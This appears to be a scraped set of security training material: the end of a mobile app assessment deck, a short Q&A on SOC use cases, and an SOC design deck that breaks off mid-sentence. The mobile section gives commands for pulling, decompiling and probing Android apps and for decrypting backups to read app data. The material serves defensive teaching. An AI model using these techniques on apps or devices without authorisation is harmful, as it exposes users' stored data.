gdb or dump_decrypted Acquire Application to Assess Using ES File Explorer, go to “App” Section Long press the app of interest. Once selected, choose “backup” Get the file from the device (I used adb with a USB connection) adb pull /sdcard/backups/GuitarTuna_4.0.2.apk We now have the application to assess APK files are just zip files Unzip and View Manifest Since the Android app is just a zip file, we can unzip it. Make a copy in a sub directory (just in case something goes wrong) Unzip file using 7 -zip, or any zip utility Start with AndroidManifest.xml to see permissions declared java –jar AXMLPrinter2.jar AndroidManifest.txt | more AndroidManifest also declares Activities (windows / interfaces) and intents Unzip and View Manifest We see the permissions declared, and have an idea of what the app can do The Manifest is long, and declares several things In this app, we see a lot of Facebook integration (not pictured) Look at Decompiled Code With some understanding of the behavior and the permissions, we might want to see in detail what the program does There are multiple decompilation tools (dex2jar, Procyon) Jad-X is an easy and free one – providing decompiled Java that is readable directly from the . apk Others: JEB ($), dex2jar/JD -GUI In this app, I reviewed the facebook integration, as well as the billing information Obfuscated Code Tools to obfuscate the code: Dexguard , Proguard , DexProtector Developer defined methods and variables only Simplify can help here – removes dead / excessive code private String a(String str, String str2, Boolean bool) { int length = str.length () / 2; int length2 = str2.length() / 2; this.b[0] = str.substring (0, length); this.b[1] = str.substring (length); this.c[0] = str2.substring(0, length2); this.c[1] = str2.substring(length2); return bool.booleanValue () ? this.b[1] + this.c[0] + this.b[0] + this.c[1] : ""; }Jadx Before Simplify private String a(String str, String str2, Boolean bool) { return bool.booleanValue () ? this.b[1] + this.c[0] + this.b[0] + this.c[1] : ""; }Jadx After Simplify Obfuscated Code (2) Read the code, refactor the code, rename the code JEB (commercial tool) lets you do that right in the tool Cheap way: jad-x decompile at command line open project in android studio Read code, refactor methods and variables (globally renames) Josh Wright has a great webcast on this Methodology – Inter -process Communication Android – use of “intents” Android components: Activities Services Content Providers Broadcast ReceiveriOS – chroot (sandbox) with minor exceptions for data sharing between apps Document provider (shares with other apps) Document picker (can import) Action extension Custom keyboard Also, URL handlers such as “twitter://” Methodology – Inter -process Communication Assessing the IPC is involved in both platforms Drozer is very helpful for this on Android iOS no automated tool yet to help with exploration of IPC Concern of action extension for exposure of app to active content returned into application context Challenge is time, and exploring potential content provided IPC - Drozer Install Drozer application on Android In this case, I’m using adb based connection: adb forward tcp:31415 tcp:31415 drozer console connect See the attack surface: run app.package.attacksurface com.ovelin.guitartuna See the Activities: run app.activity.info com.ovelin.guitartuna IPC - Drozer See the attack surface: run app.package.attacksurface com.ovelin.guitartuna See the Activities: run app.activity.info com.ovelin.guitartuna IPC - Drozer See the Activities (a user interface screen): run app.activity.info com.ovelin.guitartuna IPC – “Extras” Can now go look in the code (probably easiest with dex2 -jar) to see if any of the Activities that accept “extras” – with the inter process communication If so, there is an opportunity for an external application to communicate with this app, there’s an opportunity for abuse Methodology – Filesystem Content If you have rooted or jailbroken phone, pull full filesystem contents tar, dd, etc. If you don’t, you can make a backup of the phone (or specific app) Android Example: adb backup -f myfile.ab com.company.package Note: in my experience, adb backup crashes without filename for single packages Methodology – Filesystem Content If you get an encrypted backup, you’ll need to decrypt the content backupdecrypt.pl Only through version 1 android -backup -extractor abe.jar Need to add Java crypto library support (see abe.jar README) Methodology – Filesystem Content java -jar abe.jar unpack myfile.ab decrypted.ab tar -xvf decrypted.ab Enjoy the volume of data to inspect! Sqlite databases frequently encountered Android – items to inspect As you’re seeing, there’s a lot of work involved in assessing the app The report cards provide a checklist of items to review Methodology – Tools Tools to be able to do this work; still extensive manual work https://bit.ly/crow -gmob has a tool list https://github.com/tanprathan/MobileApp -Pentest - Cheatsheet Methodology – Distributions There are some pre -built distributions which give you an environment to work from MobiSec (SecureIdeas ) Androlab (androl4b) Santoku Linux (from NowSecure ) Kali Linux Give you the benefit of the tools already set up Probably doesn’t have everything you need, but a good start Maintenance For app assessment, maintain the program through updates to approved applications Improve analytical capability Keep up to date on attacker trends Enhance organizational security posture Develop exercises Summary Brief walk through of the idea of application assessment Develop a program Develop methodology Test on an ongoing basis Twitter: @ CCrowMontance This and other presentations: https://bit.ly/crow -cell-eaves --- ## Source: https://montance.com/questions.php?id=112 [![pdf](content/images/icons/pdf.svg) Use Case Development 2017.pdf](https://drive.google.com/file/d/1ijDBZZvKS5lrk32hZbGhce1n_ytFo_ow/view?usp=drive_link) Use Case Development 2017 Methodology for developing and managing SOC use cases. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is a 'Use Case' in the context of this presentation? A: A specific condition or set of conditions that the SOC is monitoring for to detect a threat. * Q: What is the 'Use Case Lifecycle'? A: Development, Implementation, Tuning, and Retirement. * Q: What is the 'MaGMA' framework reference? A: Management, Growth, Metrics, and Assessment - a framework for use cases. * Q: What is the 'False Positive Rate' target? A: Ideally less than 10% for high-fidelity alerts. * Q: What is the 'Data Source' requirement? A: You cannot detect what you do not log; ensure necessary logs are ingested. * Q: What is the 'Logic' component of a use case? A: The specific correlation rule or query used to trigger the alert. * Q: What is the 'Response' component? A: The defined playbook or procedure for handling the alert once triggered. * Q: What is 'testing' in use case development? A: Simulating the attack to ensure the use case triggers as expected. * Q: What is 'Tuning'? A: Adjusting thresholds and whitelists to reduce noise. * Q: What is the 'Documentation' requirement for use cases? A: Every use case must have a document describing its purpose, logic, and response procedures. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/1ijDBZZvKS5lrk32hZbGhce1n_ytFo_ow/view?usp=drive_link **[PDF Extracted from Google Drive: https://drive.google.com/file/d/1ijDBZZvKS5lrk32hZbGhce1n_ytFo_ow/view?usp=drive_link]** MGT517 Use Case Development for Security Operations Copyright Christopher Crowley 2017Christopher Crowley – chris@montance.com - CCrowMontance MGT517 | Managing Security OperationsQuick View Talk Explained 2 The Problem MGT517 | Managing Security OperationsBackground Explanation of Talk •Conversation with collaborator •Based on his experience, organizations need assistance building use cases for their SIEMs •Asked me to assist in developing training / capability •Question: Why would organizations have difficulty developing use cases? 3 MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 4 Definition and Program Components MGT517 | Managing Security OperationsLevel Set First Principles •I assume there’s a group in your organization responsible for security operations •Very flexible definition of this, but often referred to as the SOC. Referential to SANS MGT517 •To understand where my Use Case expression comes from, I want to describe what I assume is in place, and if it isn’t you need to build it before worrying about building use cases 5 MGT517 | Managing Security OperationsDefinition of Security Operations First Principles Security Operations – Protecting the confidentiality, integrity, and availability information systems of an organization through: proactive design and configuration, ongoing monitoring of system state, detection of unintended actions or undesirable state, and minimizing damage from unwanted affects. 6 MGT517 | Managing Security Operations Download This Slide Deck Download https://bit.ly/crow -soc 7 MGT517 | Managing Security Operations Download This Slide Deck Download https://bit.ly/crow -soc 8 MGT517 | Managing Security OperationsLong Term Build Plan and Improvement SOC Lifecycle •Design -> Build •Operate + MatureDrivers CharterSOC StructureStaffing TechIm- plement Monitor & Detect RespondImprove MGT517 | Managing Security OperationsSOC Requirements Steering Committee Three Types of SOC 10•Based on the requirements of your industry, organization objectives, and monetary investment your SOC will resemble one of the following •Compliance SOC – usually little growth / change •Security SOC – minimal competence - little growth •Security SOC – high competence - striving MGT517 | Managing Security OperationsSOC Requirements SOC Types Difference Between Minimal and High Competence 11•What’s the difference between a minimally competent SOC and a performance / striving SOC? •Organization support: Funding, Vision, Agency to affect change •SOC awareness of organization needs •Threat Intelligence (consumption and generation) MGT517 | Managing Security OperationsDesign Elements Components •Technology – hardware and software to accomplish the function’s objective •Inputs – expected objects transferred to function •Processes – the actions performed by the function •Artifacts – expected output from the function •People – employees, directly embedded contractors, customers, partners 12 MGT517 | Managing Security OperationsWhat Is Success for a SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 14 Functional Components MGT517 | Managing Security OperationsFunctional Components of SOC Components •The functional capabilities a SOC is expected to perform •Other parts you need to be operational •Software and hardware to make a SOC •Interactions between these capabilities •Interaction from SOC functions to other parts of the business •People and skillsets to make the SOC effective •Processes for repeatable and effective operations 15 MGT517 | Managing Security OperationsSOC / Command Center Components •The Command Center performs command and control of all activity related to security operations •Single point of entry for security related security requests (like 911 for emergencies) •Authority to direct response and notify constituents •Identification and deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems 16 MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) Components •Fundamental and critical capability •This entails watching the actions and communication of the information systems for unwanted activity •All forms of communication and activity •Requires dedicated hardware, software, and specialized staff •Gigantic amounts of constantly changing data •Objective: fast and accurate detection of issues 17 MGT517 | Managing Security OperationsThreat Intelligence Components •Insecure systems won’t be compromised without a threat leveraging the vulnerability •Studying the threats to our environment to better: prepare, detect, and respond •Threat Intel takes two forms •Production of Threat Intel – develop information based on artifacts •Consumption of Threat Intel - buy a feed, share with partners, etc. •Objective: tactical and strategic advantage over adversaries 18 MGT517 | Managing Security OperationsIncident Response Components •Incident Response is engaged after a problem detected by NSM or external notification •Strives to minimize the damage from the incident •Performs thorough analysis to determine extent of the incident •Leverages lessons learned from incidents to enhance defensibility of the organization •Objective: minimize impact of problems 19 MGT517 | Managing Security OperationsForensics Components •In support of Incident Response, specialized capabilities to determine the extent of the incident and proactively prevent spread of adversary with detection based on forensic analysis •We’ll discuss each of these types of forensics: •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment 20 MGT517 | Managing Security OperationsForensics – Host Components •Host Forensics studies data on individual systems – includes cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: detailed analysis of events on systems of interest 21 MGT517 | Managing Security OperationsForensics – Network Components •Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised 22 MGT517 | Managing Security OperationsForensics – Reverse Engineering Components •RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also could be firmware, hardware, etc. •Objective: detailed analysis, determination of safety and intent of hardware or software in use in the organization 23 MGT517 | Managing Security OperationsForensics – eDiscovery Components •eDiscovery is a necessary capability in any organization •Interfaces with Legal team to define objectives •Leverages existing infrastructure to efficiently support collection •Requires specialized expertise for retention of records •Most organizations have obligation to support discovery •For US Government, also entails Freedom of Information Act (FOIA) requests •Objective: Collect information assets in a reproducible and thorough fashion 24 MGT517 | Managing Security OperationsSelf-Assessment Components •Configuration Monitoring •Vulnerability Assessment •Pen Testing •Exercises •Objective: ongoing assessment of attack surface of information systems and organization capability to resist and recover when incidents occur 25 MGT517 | Managing Security OperationsConfiguration Monitoring Components •CM is the practice of approving change and detecting variation from approved baselines and configurations •Change Control •File Integrity Monitoring / Application Whitelisting •Baseline and standard approved configurations •Deviation authorization and tracking •Continuous Monitoring •Objective: monitor settings and change from specified baseline of settings 26 MGT517 | Managing Security OperationsVulnerability Assessment Components •Vulnerability Assessment is testing systems for issues, such as missing patches or misconfiguration and directing remediation •Typically performed using a vulnerability scanner •Software with inventory of known patches and flaws, and methods for checking if they’re missing •Objective: identify attack surface of systems: vulnerability to known flaws and weak configurations 27 MGT517 | Managing Security OperationsPenetration Testing Components •Pen Testing goes beyond vulnerability scans to model how an adversary would compromise a system and what is at risk •Time intensive, expertise required •Objective: determine risk of an information system by demonstrating impact of compromise and model adversary attack methods against a system 28 MGT517 | Managing Security OperationsExercises Components •Exercises model plausible scenarios, challenging staff to follow procedures and adapt new ones. They reinforce good practices and fix bad behavior. •Very valuable, but often neglected •The culture of “too busy” frequently prevents exercises •Objective: assess staff readiness, capability to follow defined procedures and improvise in the face of unanticipated issues 29 MGT517 | Managing Security OperationsStructure of SOC Components •Pool of people (typically small group) •Everyone on one team, share responsibility, rotate rolls or matrix based on skillset and capability •Attacker Phase Mirroring •Organized groups as counter to attacker behaviors •Functional Group •What is mostly presumed for the MGT517 class material: primarily a pedagogical choice for clarityFunctions Arrangement Options 30 MGT517 | Managing Security OperationsMulti -SOC Models Layers of SOC Follow -the-sun 31•Three or more physical locations across the globe to give 24x7 coverage •Dublin (UTC) , Seattle (UTC -8), Singapore (UTC +8) for example •Legal concerns of data privacy laws and data portability, and political stability of the country •Transitions between teams and consistency among capabilities and methodology is a challenge •We’ll talk more about culture tomorrow, but having the exact same procedures for teams in New York, Mumbai, and Tokyo will likely result in sub optimal performance, account for regional difference •Select which functions need follow the sun. NSM and Command Center are likely candidates, as is IR MGT517 | Managing Security OperationsPuzzle Pieces SOC Architecture Putting The Pieces Together is Left as an Exercise for the Reader 32 MGT517 | Managing Security OperationsPuzzle Pieces SOC Architecture 33 Available at https://bit -ly/crow -soc MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 34 Process, Procedures, Playbooks MGT517 | Managing Security OperationsThe Only Constant Is Change Maturity •SOC processes should be designed to adapt to the inevitable changes it will face •Following the procedure is the right thing to do, so long as the procedures are always updated •Demonstrate SOCs capability to utilize its capability and resources everywhere possible to aid the business: federated central logging, for exampleAgility and Adaptability MGT517 | Managing Security OperationsPlaybook Maturity •Playbooks provide operational guidance on •Preferred methodology •Objective state •Available resources and opportunities for assistance •Requirements for escalation •Authority to perform tasks, and boundaries of authority •Should include checklists and quick reference materialGuidelines for the Professional MGT517 | Managing Security OperationsStandard Operating Procedures Maturity •SOPs should be used in cases where rigor is needed to avoid errors •SOPs are useful for lower skilled, high turn over positions, but high -skill workers are often benefited by SOPs and checklists (despite their occasional protests to the contrary)Exact Steps to be Performed MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 38 Use Case Development MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •I want to define what I’m developing before I set out to create it •Let’s explore a couple references then arrive at a definitionFirst Question: What is a Use Case? MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •The term Use Case is a Unified Modeling Language (UML) term for the description of all feasible user interactions with a system •Use Case Diagram one of the behavioral diagrams in UMLUse Case Defined by UML MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Analytical Pivoting? •Diamond model uses this concept and “activity grouping” to explore items of interestWhat is a Use Case? MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Analytical - describes the practice of analysis •If you don’t have an analytical practice that your analysts use consistently, you should fix that issue •This is necessary for collaboration and consistent work outputAn Aside: Analysis MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Tend to describe compromise scenariosWhat do vendors say? •Kind of like “all the ways a user can interact with the system” but the subset of those ways that we care about within SOC MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development A Use Case describes a relevant scenario of compromise and potential method(s) of detecting the offensive activity •Tweet your suggested revision: @ CCrowMontanceUse Case Defined for SOCs MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Identify scenario of interest and business relevance •Characteristics of scenario (decompose it) •Related Artifacts •Detection opportunities in data •Enrichment opportunities in data (Threat Info, Correlation) •Implementation •Monitoring / Assessment •Revision / Review / ExpirationSteps to Build a Use Case MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Some scenarios have ceased to be relevant •Predictable TCP sequence numbers, for example •Some scenarios should have ceased to be relevant, but nevertheless persist •ARP manipulation attacks, for example •If you set it up and never revisit it, you’re creating inefficiency for the analysts tasked with initial differentiationRevision / Review / Expiration MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Technical Analysts: NSM, IR, Forensics •Threat Intelligence Analysts •Vulnerability analysts •Baseline team •Consideration by constituents (affected business units) •May be dedicate use case developers, or a task of a specific ruleWho is Involved in Use Case Development? MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Hunting is reviewing available data for indicators of suspicious items worthy of further investigation •An output from hunting is use case ideas to develop •Or, the use case is the operational implementation of the ideas developed / discovered during hunting •Don’t saddle the hunt effort with use case development per se – collect ideas during the hunt effort to implement in use cases laterHow is This Different Than Hunting? MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Don’t make your own to start with! •So many repositories with pre -existing use cases for you to leverage •Start with your SIEM vendor resources •Use other SIEM vendor resources to recreate their UCsRepositories for Use Cases MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •https://www.ibm.com/security/services/use -case -library •https://conf.splunk.com/files/2016/slides/a -framework -for- developing -and-operationalizing -security -use-cases.pdf •https://www.splunk.com/en_us/resources/use -cases.html •https://blog.phantom.us/2017/02/08/selecting -use-cases - for-automation -part -2/ •https://github.com/Neo23x0 •Threathunting.net (D.J. Bianco’s site) •Chuvakin (Gartner): Detailed SIEM Use Case ExampleRepositories for Use Cases MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Usually in your SIEM or correlation capability •Can be implemented in script form •Critical element is automation in data selection and correlation to highlight potential misbehavior •Example: geographically improbable simultaneous logins (VPN + local authentication)How is a Use Case Implemented? MGT517 | Managing Security OperationsUse Case DevelopmentUse Case Development •Phin Phisher versus the Hacking team example is an elegant exploit scenario with modern tropes •Zero day •DNS C2 •Pivoting •Credential Reuse ( mimikatz & plain text passwords) •Intellectual Property Theft •Hacktivism, Government Surveillance: >> CYBER< Build •Operate + MatureDrivers CharterSOC StructureStaffing TechIm- plement Monitor & Detect RespondImprove Our plan of action will include deciding on what drivers the organization has. Does it want a Governance, Risk, and Compliance (GRC) style SOC that addresses the necessary legal requirements and little else? Or does it want an ace security force that can address any technical challenge which might arise anywhere in the world? These two options represent options at the opposite end of the spectrum of SOCs. Most organizations are somewhere in between. A charter should be developed to serve as the empowering document for the SOC. Once the appropriate direction and authority is allocated to the SOC the considerations of how to actually build the thing can start. This structural consideration is presented in this course content from the perspective of the functional areas, which will be discussed in great detail. The “which comes first question” is do we hire people then buy technology or vice versa? The course author suggests people first. This will help with technology selection since the staff members skillsets and experience should influence the tools available to them. Most organizations do the opposite: buy a bunch of technology then figure out what can be done with it. This tends to be inefficient and wasteful, but it is arguably faster. Further, given more detailed circumstances the author would consider technology before staff to be optimal in certain cases. For example, if the staff is mostly junior or moderate in experience their preferences aren’t as important to the technology selection. This requires a dedicated training program. A methodology for self-training will be discussed in the operation and staff section of the course. The SOC is then operational with its staff and technology. Then the real work begins. The SOC is tasked with identifying problems, intervening to minimize damage, then working to improve its capability. MGT517 | Managing Security OperationsSOC Requirements Steering Committee Three Types of SOC 7•Based on the requirements of your industry, organization objectives, and monetary investment your SOC will resemble one of the following •Compliance SOC –usually little growth / change •Security SOC –minimal competence -little growth •Security SOC –high competence -striving There are basically three types of SOCs that you’ll come up with. The first is the compliance SOC. It has minimal empowerment to affect change in the organization and exists to satisfy mandates and legal requirements of the organization. The sense of striving to affect change and gain additional funding and capability is largely absent. Some SOCs were initially created to accomplish compliance, but achieve more capability and organizational support and affect change. In general, however, this sort of SOC usually begins in this form and stays this way. The second scenario is a SOC with more authority and technical capability. This SOC has a proactive focus and can impact organizational change, but is often new or immature and has limited resources and technical competence. The primary differentiator between it and the compliance SOC is its ability to affect the business’s strategic and tactical decisions. The third level is a SOC which has the authority to affect significant change, has organizational buy in, and has accomplished technical proficiency to address the most common scenarios of incidents in the organization. Further, this SOC has outreach capability within the organization to information technology operations, business units, and is consulted on matters of design and operations; this SOC has established industry and law enforcement relationships that are sustained, and is often queried as a model of implementation and solutions. This strives toward excellence in all the functional capabilities discussed later. MGT517 | Managing Security OperationsDesign Elements Components •Technology –hardware and software to accomplish the function’s objective •Inputs–expected objects transferred to function •Processes –the actions performed by the function •Artifacts –expected output from the function •People –employees, directly embedded contractors, customers, partners 8 To characterize all the components of each of the functional areas, the following will be addressed: Technology, Inputs, Processes, Artifacts, and People required for a SOC. These are the elements of construction of the SOC. MGT517 | Managing Security OperationsOverlap Components •There is some overlap between the functional areas •If one technology is in use, it is best to provide access to the same system for all functions •If multiple systems are implemented, it is best to provide each team with access to all systems •If organizational boundaries prohibit mutual and/or concurrent access, well defined information exchanges should be developed and followed 9 Overlap is going to happen, it is usually best to have each team access the central system with shared resources. It may be necessary to establish independent resources due to funding, outsourcing, resource availability, geographical separation, or management divisions. If possible, sharing access to systems is ideal. This will allow the disparate teams to be able to directly access the same data without any barriers. For example, the Threat Intelligence team can use the data contained in the SIEM as well as the NSM team. But, they’d have a different scope of interest. The NSM team is looking for immediate issues, as well as hunting. Whereas TI would be looking for trends of attacks, as well as looking for source IPs, emails, and tactics to help build indicators. This extends beyond the SOC as well, with federation of data being a goal to fully integrate security and operational concerns. MGT517 | Managing Security OperationsWhat Is Success for a SOC? SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability.Statement of Success SOC is successful when it intervenes in adversary efforts to impact the availability, confidentiality, and integrity of organization’s information assets. It does this by proactively making systems more resilient to impact and reactively detecting, containing, and eliminating adversary capability. This pithy statement contains the elements of our SOC in a simple mission objective of success. It demonstrates that intervention is the goal, not specifically prevention. It accepts that some bad things will happen and that success entails minimizing the impact of those things. MGT517 | Managing Security OperationsQuick View MGT517 Excerpt 11 Functional Components MGT517 | Managing Security OperationsFunctional Components of SOC Components •We define the functional capabilities a SOC is expected to perform •Other parts you need to be operational •Software and hardware to make a SOC •Interactions between these capabilities •Interaction from SOC functions to other parts of the business •People and skillsets to make the SOC effective •Processes for repeatable and effective operations 12 Our Security Operations capability will be housed in the SOC. Tobuild a SOC, we need to understand what it is supposed to do, how it works, and what components are available to support the desired function. We need to understand the roles people play and define the procedures for those people to follow. In the current section, we’re going to identify functions that we want our SOC to perform. Intra-SOC transfers; interfaces between the SOC and other parts of the business are necessary to formulate but won’t be addressed here. Software and hardware that supports the functions of the SOC are similarly important but absent from this talk. As are the roles that need to be filled by people. MGT517 | Managing Security OperationsSOC / Command Center Components •The Command Center performs command and control of all activity related to security operations •Single point of entry for security related security requests (like 911 for emergencies) •Authority to direct response and notify constituents •Identification and deconfliction of incidents •Objective: Maintain situational awareness of systems and threat environment, manage threats, proactively protect systems 13 The SOC is the command center for all cybersecurity related activities. This is the equivalent of 911. For non- US audiences, 911 is the nationwide telephone number for all emergency assistance requests such as fire, acute health issues, and police assistance. The SOC is to maintain awareness of the threat environment. This means when a new vulnerability is disclosed, the SOC correlates available information with the inventory of systems within the organization. The SOC receives requests for help and communicates information to affected parties. The SOC is authorized to direct action be taken to protect the interest of the organization. The SOC’s capability may specifically entail Incident Response, and there may be another group which specifically performs IR. The SOC can differentiate what is, and is not an incident, and is capable of maintaining situational awareness of exercises. Exercises may simulate actual incidents, but the SOC can deconflict reports of multiple incidents and determine if they’re one, as well as understand what reports might be associated with ongoing exercises and then seeking appropriate verification. MGT517 | Managing Security OperationsNetwork Security Monitoring (NSM) Components •Fundamental and critical capability •This entails watching the actions and communication of the information systems for unwanted activity •All forms of communication and activity •Requires dedicated hardware, software, and specialized staff •Gigantic amounts of constantly changing data •Objective: fast and accurate detection of issues 14 Network Security Monitoring (NSM) is a cornerstone capability of a SOC. In fact, there may be a specialized sub-group of the SOC which performs these tasks. Many people think of NSM as a SOC. By our definition, NSM itself isn’t a SOC. Network security monitoring is watching data in motion. This frequently involves utilizing Network Intrusion Detection Systems (NIDS); Host Based Intrusion Detection Systems (HIDS); Host Protection Suite (including HIPS, A/V, etc.); network firewall logs; host-based firewall logs; server logs such as Active Directory (AD) Domain Controller (DC) logs; web server logs; file server logs; mail server logs; DNS query logs. This multitude of data is frequently aggregated into a single resource of data, frequently called a Security Information and Event Management (SIEM). Network instrumentation, servers to collect data, servers to analyze traffic, and consoles to present information to analysts who then correlate and assess the information are all required. The analysts need a substantial background in information systems and are benefited by knowledge of the environment they are monitoring. The NSM team is tasked with detecting problems. MGT517 | Managing Security OperationsThreat Intelligence Components •Insecure systems won’t be compromised without a threat leveraging the vulnerability •Studying the threats to our environment to better: prepare, detect, and respond •Threat Intel takes two forms •Production of Threat Intel –develop information based on artifacts •Consumption of Threat Intel -buy a feed, share with partners, etc. •Objective: tactical and strategic advantage over adversaries 15 The idea of threat intelligence started with early internet worms and information sharing. Techniques for sharing information were ad hoc at first, then blossomed into information sharing. There were specifications discussed for sharing threat information; for example IDMEF (https://www.ietf.org/rfc/rfc4765.txt ), IODEF (https://www.rfc-editor.org/rfc/rfc5070.txt ). Mandiant’s Indicator of Compromise (IOC) filled a void for sharing information and has morphed into the OpenIOC language: (http://www.openioc.org/ ) Tracking failures in the form of incidents is another form of Threat Intelligence, and the Vocabulary for Event Recording and Incident Sharing (VERIS) language (http://veriscommunity.net/) was established to do this. There are online communities, both open and closed for sharing information about threats. Threat Connect (https://www.threatconnect.com/) is a well-known open source one. But other examples include: VirusTotal (https://www.virustotal.com/ ) and other sandboxing sites; reputation services such as Webroot maintains; anti- spam lists with SMTP server reputation information; website reputation assessment sites and infrastructures provided by browsers. The most important recent development in threat intelligence is organizations who invest funds in dedicating staff to study their specific adversaries. We see this in the form of industry collaborations as well as dedicated internal intelligence teams. This has given way to the collection of what are termed TTPs: Tactics, Techniques, and Procedures. “If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.” Sun Tzu, The Art of War . Thomas Cleary, trans. Boston- Shaftsbury: Shambhala. 1987. MGT517 | Managing Security OperationsIncident Response Components •Incident Response is engaged after a problem detected by NSM or external notification •Strives to minimize the damage from the incident •Performs thorough analysis to determine extent of the incident •Leverages lessons learned from incidents to enhance defensibility of the organization •Objective: minimize impact of problems 16 The response capability of the SOC is to deal with items that were identified through monitoring in an efficient and time-sensitive way. We strive to minimize impact to the organization’s information assets. This is a complex and difficult effort. MGT517 | Managing Security OperationsForensics Components •In support of Incident Response, specialized capabilities to determine the extent of the incident and proactively prevent spread of adversary with detection based on forensic analysis •We’ll discuss each of these types of forensics: •Host •Network •Reverse Engineering •eDiscovery •Objective: detailed data and event analysis for incident verification and impact assessment 17 Forensics, or more specifically Digital Forensics, is the science of determining what occurred based on traces of information left behind by events. An event is any observable occurrence. We'll discuss the major categories of forensic capability in detail. Some people consider incident response and forensic inseparable. The purpose of defining the functional areas is to provide modular units to allow you to architect your SOC appropriately. There are multiple sub-disciplines in Forensics. We discuss the details of each in the following slides. MGT517 | Managing Security OperationsForensics –Host Components •Host Forensics studies data on individual systems –includes cloud, mobile devices and memory forensics •Indicators of Compromise, used to scope intrusion •Application data •Operating system artifacts •Logs •Objective: detailed analysis of events on systems of interest 18 Host-based forensics is a specialization. Many people perform forensics of some sort without extensive forensic training. However, thorough and effective host based forensic analysis requires substantial training and practice. The key differentiator between host-based forensics and network forensics is that host-based forensics look at artifacts present within the storage media of the system. An example to help distinguish the two, I could perform host forensics on a network router. If I was concerned the router is compromised, I would look at auditing and login information, and check to see if the configuration of the router had been changed. If there was concern that some system in the network was compromised, I would use the router logs to look at the connections established between a host within our network that was determined to be compromised to assess what information was stolen, how the internal system was used to connect to other internal systems, and if it was used to attack external systems. This is network forensics. The practice involves collection of the data to be studied. This is to be performed via a sound, repeatable methodology to avoid introducing errors into the data of interest and avoid omitting data. The analyst typically produces a timeline of what occurred on the system then identifies what the attacker did, and how that system was affected by the attack. The analyst attempts to determine what data was accessed on the system and if credentials (passwords, encryption keys, etc.) were collected. MGT517 | Managing Security OperationsForensics –Network Components •Network Forensics studies network artifacts •Switch/Router/Firewall Logs •Proxy Logs •Mail Logs •… Logs •Full Packet Capture (PCAP) •Objective: detailed analysis of events on network to understand what was compromised 19 On the Host Forensics slide, network and host forensics were differentiated. There is also potential confusion between network forensics and network security monitoring (NSM). NSM is primarily focused on detection, determining if systems are affected. Network forensics is after detection, using network information to determine the extent of the compromise and the data stolen or modified. Modern network devices have the capability to log connections. This data is frequently discarded or not stored for very long. This is unfortunate since it is tremendously useful for analysis once there is an indication that a compromise occurred. Every network device should be configured to log to a central source. This requires infrastructure to support the transport, collection, and storage of this data. MGT517 | Managing Security OperationsForensics – Reverse Engineering Components •RE is very difficult but incredibly useful •Studies hardware or software •Determines the capability of the item studied •Frequently malware (software) analysis •Also could be firmware, hardware, etc. •Objective: detailed analysis, determination of safety and intent of hardware or software in use in the organization 20 Reverse engineering is the study of software, firmware, or hardware toassess the capability of that software in its functional form. For software and firmware, this usually involves the challenge of looking at compiled code. Code which has been compiled is translated into processor specific instructions to perform functions. This task is even more challenging when trying to assess a piece of hardware to determine what capability is programmed directly into an integrated circuit chip, or a network interface card. The two primary types of reverse engineering are behavioral analysis and static analysis. Behavioral is running the software or device and monitoring what it does. Static analysis involves decompiling the software or studying the hardware capability without running it. A frequently used scenario of reverse engineering is when an unknown program is encountered on a potentially compromised workstation. The program is collected, then moved to analysis systems. On isolated systems (usually called sandboxes) the software is allowed to execute, to see if it tries to make changes to the sandbox workstation. An analyst might also load the program into a disassembler such as Ida Pro or Hopper and review the assembly (machine instruction) code to assess the capability of that program. Hardware is even more complicated to reverse engineer in most cases. MGT517 | Managing Security OperationsForensics – eDiscovery Components •eDiscovery is a necessary capability in any organization •Interfaces with Legal team to define objectives •Leverages existing infrastructure to efficiently support collection •Requires specialized expertise for retention of records •Most organizations have obligation to support discovery •For US Government, also entails Freedom of Information Act (FOIA) requests •Objective: Collect information assets in a reproducible and thorough fashion 21 eDiscovery will be required by the organization at some time. This is collecting evidence in support of a legal investigation. This may be driven by law enforcement request. It might be a result of a civil suit alleging damages caused by the organization. An example scenario of legal action is wrongful dismissal. There may also be legal discovery requirements for government organizations, such as the Freedom of Information Act (FOIA) in the United States. The SOC frequently has the appropriate instrumentation to conduct eDiscovery. It is an easy step to leverage this existing access to support the effort. If there is already an eDiscovery capability in the organization, I do not advocate forcing it to move to the 